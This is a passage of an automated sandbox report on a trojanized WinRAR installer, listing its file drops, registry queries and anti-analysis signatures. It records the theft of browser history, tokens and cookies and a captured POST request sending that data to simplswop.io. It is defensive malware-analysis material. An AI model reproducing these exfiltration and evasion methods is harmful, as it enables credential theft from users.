3.x database user version 9 (0x9) last written using SQLite version 3020001 page size 32768 writer version 2 read version 2 file counter 4 database pages 4 cookie 0x2 schema 4 UTF-8 version-valid-for 4"- [targetUID: N/A] "Default.SFX" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\Default.SFX]- [targetUID: 00000000-00007996] "Zip.SFX" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\Zip.SFX]- [targetUID: 00000000-00007996] "WinCon.SFX" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\WinCon.SFX]- [targetUID: 00000000-00007996] "Default32.SFX" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Default32.SFX]- [targetUID: 00000000-00007996] "Zip32.SFX" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Zip32.SFX]- [targetUID: 00000000-00007996] "WinCon32.SFX" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\WinCon32.SFX]- [targetUID: 00000000-00007996] "C661AFA6B0E042F4836535F20D6B0DB2_web_data.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 8 database pages 114 cookie 0x43 schema 4 UTF-8 version-valid-for 8"- Location: [%TEMP%\C661AFA6B0E042F4836535F20D6B0DB2_web_data.db]- [targetUID: 00000000-00006508] "13406CAD5E5944D3BC7F383224C2F104_history.db" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 4 database pages 50 cookie 0x2a schema 4 UTF-8 version-valid-for 4"- [targetUID: N/A] "F7EADB25F55044B38EC2766CF98D1A3A_formhistory.db" has type "SQLite 3.x database user version 4 (0x4) last written using SQLite version 3020001 page size 32768 file counter 6 database pages 6 cookie 0x5 schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "759707BD9E4D4F5DB1AA165A6600667D_history.db" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 2 database pages 40 cookie 0x21 schema 4 UTF-8 version-valid-for 2"- [targetUID: N/A] "FF6F30FA3EA74A12904321162B0E7EAF_web_data_tokens.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 7 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 7"- [targetUID: N/A] "Rar.txt" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\WinRAR\Rar.txt]- [targetUID: 00000000-00007996] "WhatsNew.txt" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\WinRAR\WhatsNew.txt]- [targetUID: 00000000-00007996] "RarExtPackage.msix" has type "Microsoft OOXML"- Location: [%PROGRAMFILES%\WinRAR\RarExtPackage.msix]- [targetUID: 00000000-00007996] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004404] "8250790ABB6552085A14E9AACD5F9C89_Edge.zip" has type "Zip archive data made by v0.0 extract using at least v2.0 last modified Sep 24 2026 06:55:10 uncompressed size 220 method=deflate"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge.zip]- [targetUID: 00000000-00006508] "Installed_Software.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware\Installed_Software.txt]- [targetUID: 00000000-00006508] "8250790ABB6552085A14E9AACD5F9C89_Chrome.zip" has type "Zip archive data made by v0.0 extract using at least v2.0 last modified Sep 24 2026 06:54:10 uncompressed size 221 method=deflate"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome.zip]- [targetUID: 00000000-00006508] "Descript.ion" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\WinRAR\Descript.ion]- [targetUID: 00000000-00007996] "RarFiles.lst" has type "ASCII text with CRLF line terminators"- Location: [%PROGRAMFILES%\WinRAR\RarFiles.lst]- [targetUID: 00000000-00007996] "8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip" has type "Zip archive data made by v0.0 extract using at least v2.0 last modified Sep 24 2026 06:56:14 uncompressed size 4311 method=deflate"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip]- [targetUID: 00000000-00006508] "8250790ABB6552085A14E9AACD5F9C89_FileGrabber.zip" has type "Zip archive data made by v0.0 extract using at least v2.0 last modified Mar 06 2018 00:59:14 uncompressed size 282 method=deflate"- [targetUID: N/A] "history.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\history.json]- [targetUID: 00000000-00006508] "history.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\history.json]- [targetUID: 00000000-00006508] "desktop.ini" has type "Unicode text UTF-16 little-endian text with CRLF line terminators"- [targetUID: 00000000-00007012] "browser_meta.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\browser_meta.json]- [targetUID: 00000000-00006508] "browser_meta.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\browser_meta.json]- [targetUID: 00000000-00006508] "clarity.ms.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\clarity.ms.txt]- [targetUID: 00000000-00006508] "info.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\info.json]- [targetUID: 00000000-00006508] "info.json" has type "JSON text data"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\info.json]- [targetUID: 00000000-00006508] "672593CE378F4294869F371DA50F9123_places.db" has type "SQLite 3.x database user version 52 (0x34) last written using SQLite version 3025001 page size 32768 writer version 2 read version 2 file counter 5 database pages 39 cookie 0x21 schema 4 UTF-8 version-valid-for 5"- [targetUID: N/A] "F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 8 database pages 114 cookie 0x43 schema 4 UTF-8 version-valid-for 8"- Location: [%TEMP%\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db]- [targetUID: 00000000-00006508] "480719D5DB5A42C1B37E0D473563921F_web_data.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 7 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 7"- [targetUID: N/A]4a:T913,"winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WINRARX64-SETUP.EXE"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\HVSI"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}\PROPERTYBAG"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\KNOWNFOLDERS"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: ""; Value: "") "winrarx64-setup.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST"; Key: ""; Value: "")4b:T1299,"winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "SYNCMODE5"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SESSIONSTARTTIMEDEFAULTDELTASECS"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "CATEGORY"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "NAME"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "PARENTFOLDER"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "DESCRIPTION"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "RELATIVEPATH"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "PARSINGNAME"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "INFOTIP"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "LOCALIZEDNAME"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "ICON"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "SECURITY"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "STREAMRESOURCE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "STREAMRESOURCETYPE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "LOCALREDIRECTONLY"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "ROAMABLE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "PRECREATE"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "STREAM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{352481E8-33BE-4251-BA85-6007CAEDCF9D}"; Key: "PUBLISHEXPANDEDPATH"; Value: "")4c:T4f4,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual environment by using web history Matched sigs: Able to identify virtual environment using user register activity Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Possibly tries to evade analysis by sleeping multiple times Matched sigs: Contains ability to detect virtual environment Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to detect virtual environment (API)4d:T43f,"winrarx64-setup.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "winrarx64-setup.exe" trying to touch file "C:\WINDOWS\system32\wow64log.dll" "winrarx64-setup.exe" trying to touch file "C:\WINRARX64-SETUP.EXE.LOCAL" "winrarx64-setup.exe" trying to touch file "C:\winrarx64-setup.exe.Local\" "winrarx64-setup.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\comctl32.dll" "winrarx64-setup.exe" trying to touch file "C:\WINDOWS\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\COMCTL32.dll" "winrarx64-setup.exe" trying to touch file "\Device\CNG" "winrarx64-setup.exe" trying to touch file "\Device\DeviceApi\CMApi" "winrarx64-setup.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "winrarx64-setup.exe" trying to touch file "C:\WINDOWS\SysWOW64\kernelbase.dll" "winrarx64-setup.exe" trying to touch file "C:\Windows\SysWOW64\imm32.dll" "winrarx64-setup.exe" trying to touch file "C:\WINDOWS\SysWOW64\IMM32.DLL"4e:T7a3,"winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\__tmp_rar_sfx_access_check_907903265" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Descript.ion" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\ReadMe.txt" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\License.txt" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Rar.txt" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\WhatsNew.txt" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Order.htm" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarFiles.lst" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Uninstall.lst" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Rar.exe" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Uninstall.exe" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\UnRAR.exe" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\WinRAR.exe" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\7zxa.dll" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExt.dll" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\WinRAR.chm" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Default32.SFX" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\WinCon32.SFX" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\Zip32.SFX" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExtInstaller.exe" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExt32.dll" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExtPackage.msix" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png" "winrar-x64-710.exe" touched file "C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png"4f:T48b,"winrarx64-setup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "winrarx64-setup.exe" touched file "C:\Windows\EdgeUpdate\test.exe" "winrarx64-setup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "winrarx64-setup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "winrarx64-setup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "winrarx64-setup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\GoogleAdsSpainWinRarT1[1].exe" "winrarx64-setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "winrarx64-setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "winrarx64-setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "winrarx64-setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "winrarx64-setup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\GoogleAdsSpainWinRarT1[1].exe" "powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2"50:T608,"uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\Desktop\WINRAR.LNK" "uninstall.exe" trying to access LNK file "C:\Users\Public\Desktop\WINRAR.LNK" "uninstall.exe" trying to access LNK file "C:\ProgramData\Microsoft\Windows\Start Menu\WINRAR.LNK" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WINRAR.LNK" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR.lnk" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WINRAR HELP.LNK" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR help.lnk" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\CONSOLE RAR MANUAL.LNK" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\Console RAR manual.lnk" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\WHAT IS NEW IN THE LATEST VERSION.LNK" "uninstall.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR\What is new in the latest version.lnk" "uninstall.exe" trying to access LNK file "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WinRAR\WINRAR.LNK"51:T766,"winrarx64-setup.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "winrarx64-setup.exe" trying to access non-existent file "C:\FLTLIB.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\MSVCP140.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\MSVCP140.dll" "winrarx64-setup.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "winrarx64-setup.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "winrarx64-setup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\NSEXEC.DLL" "winrarx64-setup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\nsExec.dll" "winrarx64-setup.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "winrarx64-setup.exe" trying to access non-existent file "C:\powershell.exe" "winrarx64-setup.exe" trying to access non-existent file "C:\Windows\SysWOW64\POWERSHELL.EXE" "winrarx64-setup.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\powershell.exe" "winrarx64-setup.exe" trying to access non-existent file "C:\Windows\System\POWERSHELL.EXE" "winrarx64-setup.exe" trying to access non-existent file "C:\WINDOWS\system\powershell.exe" "winrarx64-setup.exe" trying to access non-existent file "C:\Windows\POWERSHELL.EXE" "winrarx64-setup.exe" trying to access non-existent file "C:\WINDOWS\powershell.exe" "winrarx64-setup.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE"52:T924,"winrarx64-setup.exe" trying to access non-existent file "C:\WINRARX64-SETUP.EXE.LOCAL" "winrarx64-setup.exe" trying to access non-existent file "C:\winrarx64-setup.exe.Local\" "winrarx64-setup.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERSHELL.EXE.LOG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\MICROSOFT.PB378EC07#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\MICROSOFT.POWERSHELL.CONSOLEHOST.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.INI" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.MANAA57FC8CC#" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\SYSTEM.MANAGEMENT.AUTOMATION.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.INI" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSREADLINE" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\PSReadline" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\SYSTEM.NUMERICS"53:T4c8,"powershell.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "uninstall.exe" writes a file "C:\Program Files\WinRAR\rarnew.dat" "uninstall.exe" writes a file "C:\Program Files\WinRAR\zipnew.dat" "uninstall.exe" writes a file "%PROGRAMFILES%\WinRAR\rarnew.dat" "uninstall.exe" writes a file "%PROGRAMFILES%\WinRAR\zipnew.dat" "MicrosoftEdgeSecurity.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\672593CE378F4294869F371DA50F9123_places.db" "MicrosoftEdgeSecurity.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_places_bk.db" "MicrosoftEdgeSecurity.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db" "MicrosoftEdgeSecurity.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\C661AFA6B0E042F4836535F20D6B0DB2_web_data.db" "MicrosoftEdgeSecurity.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\13406CAD5E5944D3BC7F383224C2F104_history.db" "MicrosoftEdgeSecurity.exe" writes a file "%TEMP%\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db" "MicrosoftEdgeSecurity.exe" writes a file "%TEMP%\C661AFA6B0E042F4836535F20D6B0DB2_web_data.db"54:T28fe,Found string "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 2142Cache-Control: no-cache------361EE8FE0000196C93BB4D5BContent-Disposition: form-data; name="file"; 